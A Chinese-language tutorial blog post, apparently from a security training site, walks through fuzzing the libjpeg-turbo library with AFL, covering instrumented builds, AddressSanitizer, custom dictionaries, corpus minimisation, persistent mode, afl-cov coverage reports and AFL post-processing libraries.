libjpeg是专门处理Jpeg解码、编码、转码的自由软件库。libjpeg-turbo是其fork版本,还有一个基于libjpeg-turbo的fork的版本是MozJpeg。
1.编译libjpeg-turbo
首先下载libjpeg-turbo
之后需要修改cmakelist.txt,进行插桩编译
在cmakelist.txt中,在cmake_minimum_required命令下添加编译器选项,在前面添加,免得被覆盖,进行插桩编译
之后在libjpeg-turbo文件夹下
mkdir build
cd build
cmake ..
make
sudo make install
安装好之后build的内容如下
之后利用程序的示例对是否成功安装libjpeg-turbo库进行测试
该函数有俩个参数 一个输入文件名,一个作为输出文件名
具体作用就是调用了turbojpeg.h这个库函数对输入的jpg图片进行压缩
因为修改了cmake中的编译器设置,应该库函数里已经是被插过桩的,所以在编译时是可以不用afl-gcc编译也可以进行检测
这样是可以生成可执行文件,也可以实现压缩图片的功能,这里也对之前的样例进行了修改,只接收一个变量,并且不对压缩文件进行保存
但在进行模糊测试时出现以下问题
没有插桩信息,无法进行测试
发现它是动态编译的,虽然应该其动态链接库是插过桩的。但最后已知没有实现。这里最后考虑是想通过链接静态库实现。也是在网上查询未果后,发现在根目录下输入 make test,可以调用他自己的样例进行测试,这其中就包括了静态链接的测试
在一个静态链接测试的项目下,查看其ling.txt,得到静态编译的方式
最后对自己的编译自己的样例
之后开始模糊测试
总共测试次数超过1亿次,开了4个并行
4个样例的的最开始输入都是不一样的,可以从路径速度和总量上看出明显的区别,确实libjpeg-turbo在更新2.0之后,其安全性能得到了极大的提升,没有收到一个报错信息。
2.内存错误检查工具
这里有很多的内存检查工具,这里举个大概,只大概研究ASAN (-fsanitize=address)的使用和与AFL测试的结合
这里测试了几个漏洞文件以此来明晰ASAN的作用
编译文件模板如下
g++ -fsanitize=address -fno-omit-frame-pointer -o t xxx.cpp
这里只对几种漏洞进行展示
use-after-fee
可以看到漏洞的名称和发生的内存地址
stack buffer overflow
还有很多其他类型的漏洞可以进行检测
https://www.jianshu.com/p/3a2df9b7c353
在AFL中启用ASAN的方式也比较简单
在make时加上AFL_USE_ASAN=1
注意之后编译文件时需要加上启用asan的参数,不然会报错
3.构造自己的字典
AFL自带自己的一个字典库,主要用于各种变异操作的
如下是AFL的jpeg的字典
为了符合jpeg图片的实际,需要分析在jpeg中出现次数多且固定的字符
这里挑选一些频率较高的字符加入字典
这里挑选的字符主要来源自各种jpeg的开头部分
之后如果要使用字典需要使用-x参数进行指定字典文件
https://paper.seebug.org/496/#dictionary
4.语料库蒸馏
afl-cmin的核心思想是:尝试找到与语料库全集具有相同覆盖范围的最小子集。 举个例子,假设有多个文件,都覆盖了相同的代码,那么就丢掉多余的文件。
最后只留下一个文件
afl-tmin(减小单个输入文件的大小)
afl-tmin有两种工作模式,
instrumented mode和crash mode。默认的工作方式是instrumented mode
后面查资料得到tmin只能处理文件,文件夹需要修改脚本
精简到0bytes,后面在网上看到了相似的例子,这和tmin的精简策略有关,确实存在这种情况。
如果加上了参数-x,就会调用crash mode模式,会把导致程序非正常退出的文件直接剔除。这里测试的样例并没有crash例子,所以不进行测试。
5.持久模式
在持久模式下,AFL 仅模糊部分程序,而不是整个程序。当只想模糊复杂软件中的特定功能时,这很有用。与分叉服务器模式相比,这提供了许多速度改进。
具体例子如下:
对想要进行的部分进行修改
此时修改的文件是turbojpeg.c
再修改cmakelist.txt如下
之后对库进行重新编译
编译方式
再进行afl-fuzz(与之前一致)
速度上确实比之前的速度要快,最快时比之前要快上俩倍多
6.Afl-cov使用
可以快速帮助我们调用lcov和gcov处理来自afl-fuzz测试用例的代码覆盖率结果
安装
GCOV,它随gcc一起发布,所以不需要再单独安装,和afl-gcc插桩编译的原理一样,gcc编译时生成插桩的程序,用于在执行时生成代码覆盖率信息
LCOV,它是GCOV的图形前端,可以收集多个源文件的gcov数据,并创建包含使用覆盖率信息注释的源代码HTML页面。
这里也可以使用apt-install afl-cov来安装,不过看网上建议这个版本实际使用上会有问题,所以这里还是直接下载源码
为了实现检查覆盖率需要修改cmakelist.txt如下
再次编译库
编译文件
这里的afl-cov选择实时监控 也就是添加--live,先启动afl-cov,后启动afl-fuzz,当afl-fuzz退出时,afl-cov就会跟着退出
启动afl-cov的命令
/home/user/Desktop/afl-cov/afl-cov -d afl-cc --live --enable-branch-coverage -c . -e "cat AFL_FILE | ./ttt AFL_FILE" --overwrite
-d是之后afl-fuzz的输出文件,-c是直向源码文件的,在编译.c文件后,会生成一个.gno文件,-c 后面跟该文件的目录
启动afl-fuzz(与之前一致)
Afl-fuzz退出后,afl-cov需要等一会才能正常退出,此时就可以看见生成分析的网页了
也可以针对已经生成的数据直接开启afl-cov,但要求编译已经加上了-fprofile-arcs -ftest-coverage
网页首页
也可以进入到文件里,查看具体语句的执行次数
7.afl_postprocess使用
它最主要的作用就是可以规定生成种子的格式
作者在github上的样例的作用是让每个测试用例开头的标头都是GIF89a
https://github.com/mirrorer/afl/blob/master/experimental/post_library/post_library.so.c
编译方法
gcc -shared -wall -O3 post_library.so.c -o post_library.so
可以看看afl-fuzz.c对该方法的支持
获取AFL_POST_LIBRARY环境变量的值,自动加载afl_postprocess函数
这里推荐使用export设定环境变量,需要说明的是export的环境变量只在当前的shell(BASH)或其子shell(BASH)下是有效的,shell关闭了,变量也就失效了,再打开新shell时就没有这个变量,需要使用的话还需要重新定义。如果需要一直使用,需要修改配置文件,方法推荐
https://blog.csdn.net/wx_it/article/details/118450790
加载后处理器库成功
也可以看到我们的测试样例变成了GIF格式,后处理库有效。
测试其他的例子
这部分需要注意的是对源码的处理,确保样例格式的满足输入的要求
参考资料
file:///C:/Users/antvsion/Desktop/AFL--%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95%E4%BD%BF%E7%94%A8%E6%B5%85%E6%9E%90.html#0https://paper.seebug.org/841/https://paper.seebug.org/842/ https://securitylab.github.com/research/fuzzing-challenges-solutions-1/ https://securitylab.github.com/research/fuzzing-sof
实验推荐
实验:Fuzz之AFL(蚁景网安实验室) https://www.yijinglab.com/expc.do?ce=7ffeb07e-680b-4490-8667-cf66b362635c>>
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页 第208页 第209页 第210页 第211页 第212页 第213页 第214页 第215页 第216页 第217页 第218页
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

